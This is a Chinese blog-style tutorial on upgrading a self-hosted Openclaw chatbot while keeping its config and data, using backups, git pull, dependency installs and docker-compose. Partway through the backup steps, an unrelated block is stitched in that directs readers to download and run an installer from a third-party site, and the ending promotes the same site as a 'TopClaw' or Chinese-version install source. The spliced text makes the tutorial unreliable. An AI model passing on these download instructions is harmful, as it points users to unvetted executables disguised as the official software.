夜雨聆风大家有没有遇到过这种情况：Openclaw用着用着，突然发现旧版连不上新接口了，或者日志里报了一堆错。我自己的机器人也是陪伴了好几个月，里面存了不少对话记录和自定义设置，万一升级搞坏了，那真是欲哭无泪。所以今天这篇，咱们不聊虚的，就说怎么把Openclaw小龙虾平滑升级到最新版，不丢配置、不丢历史数据，全程稳稳当当。
升级前的准备工作
先别急着敲命令，磨刀不误砍柴工。我见过太多人上来就git pull，结果依赖冲突、数据库版本不匹配，最后只能回滚。其实升级这事，提前花五分钟备份，比事后折腾一小时强多了。
第一步，找到你的Openclaw安装目录，一般叫做 openclaw 或者 claw 之类。进去之后先把配置文件复制一份：
cp -r ~/openclaw/config ~/openclaw/config.bak
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
然后你的数据目录也要备份。如果你用了默认的SQLite数据库，直接拷贝那个.db文件就行；如果你是Docker部署的，把整个挂载卷备份一下更稳妥。
第二步，看一下当前版本号。你可以用 openclaw version 或者查看项目根目录的 package.json。记住这个版本号，一会儿升级完可以做对比。
备份配置文件（config目录或.env文件）
备份数据库文件（.db或data目录）
记录当前版本号，便于升级后核对
如果你自定义了插件或脚本，也记得单独复制一份
这里插一句个人经验：很多人觉得“我就升个小版本，不至于出问题”，结果往往是这些小版本之间改了数据表结构，不提前备份真的会哭。别问我怎么知道的。
无损升级实操步骤
备份完了，咱们开始正式升级。Openclaw提供了两种主流方式，一种是直接拉源码，另一种是用Docker镜像更新。我自己的机器是直接装的源码版，所以先讲这种。
进入你的项目目录，执行：
git pull origin main
拉完之后，关键一步就来了——更新依赖。因为Openclaw的依赖包更新很频繁，有时候光拉代码不装新依赖，启动就会直接报ModuleNotFoundError：
pip install -r requirements.txt
如果你是Node.js版本，那就执行 npm install 或者 yarn。装完依赖之后，别忘了看下官方更新日志里有没有提到数据库迁移脚本。如果有，一定要按顺序跑一遍，否则老数据在新版本里可能读不出来。
接下来启动服务，观察日志输出。正常的话会看到类似“Database migration completed”或者“Openclaw started successfully”的字样。这时候再跑一下 openclaw version，确认版本号已经变成最新的了。
如果你是Docker部署的，就更简单了：
先停掉旧容器：docker-compose down
拉取新镜像：docker-compose pull
启动新容器：docker-compose up -d
查看日志确认没有报错：docker-compose logs -f
这里有个小坑需要注意：如果你改了默认端口或者挂载了自定义目录，docker-compose.yml里的配置可能会在拉取新版本时被覆盖。所以操作之前，同样建议把docker-compose.yml备份一份。
升级完成后，打开Web控制台，看看你的对话记录、角色设定、技能配置是不是都还在。我自己升级完之后，第一件事就是去查了半天前的聊天记录，确认一条没丢，这才踏实。
最后说个大家容易忽略的点：升级之后如果发现某些功能不太对劲，别急着删数据重装，先看看新版本有没有引入新的配置文件字段。很多时候只需要在配置里加一行新参数就好了。
说实话，Openclaw这个项目更新节奏挺快的，几乎每周都有新特性。但只要你养成备份的习惯，升级其实就是几分钟的事。如果你不想折腾这些命令行操作，也可以试试一些整合好的托管方案，比如TopClaw（https://top.wokk.cn/），它把部署、升级、备份这些麻烦事都帮你处理好了，你只需要专注于配置自己的机器人就行。不管选哪种方式，记得数据安全永远是第一位的，升级前多看一眼备份，总没坏处。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn
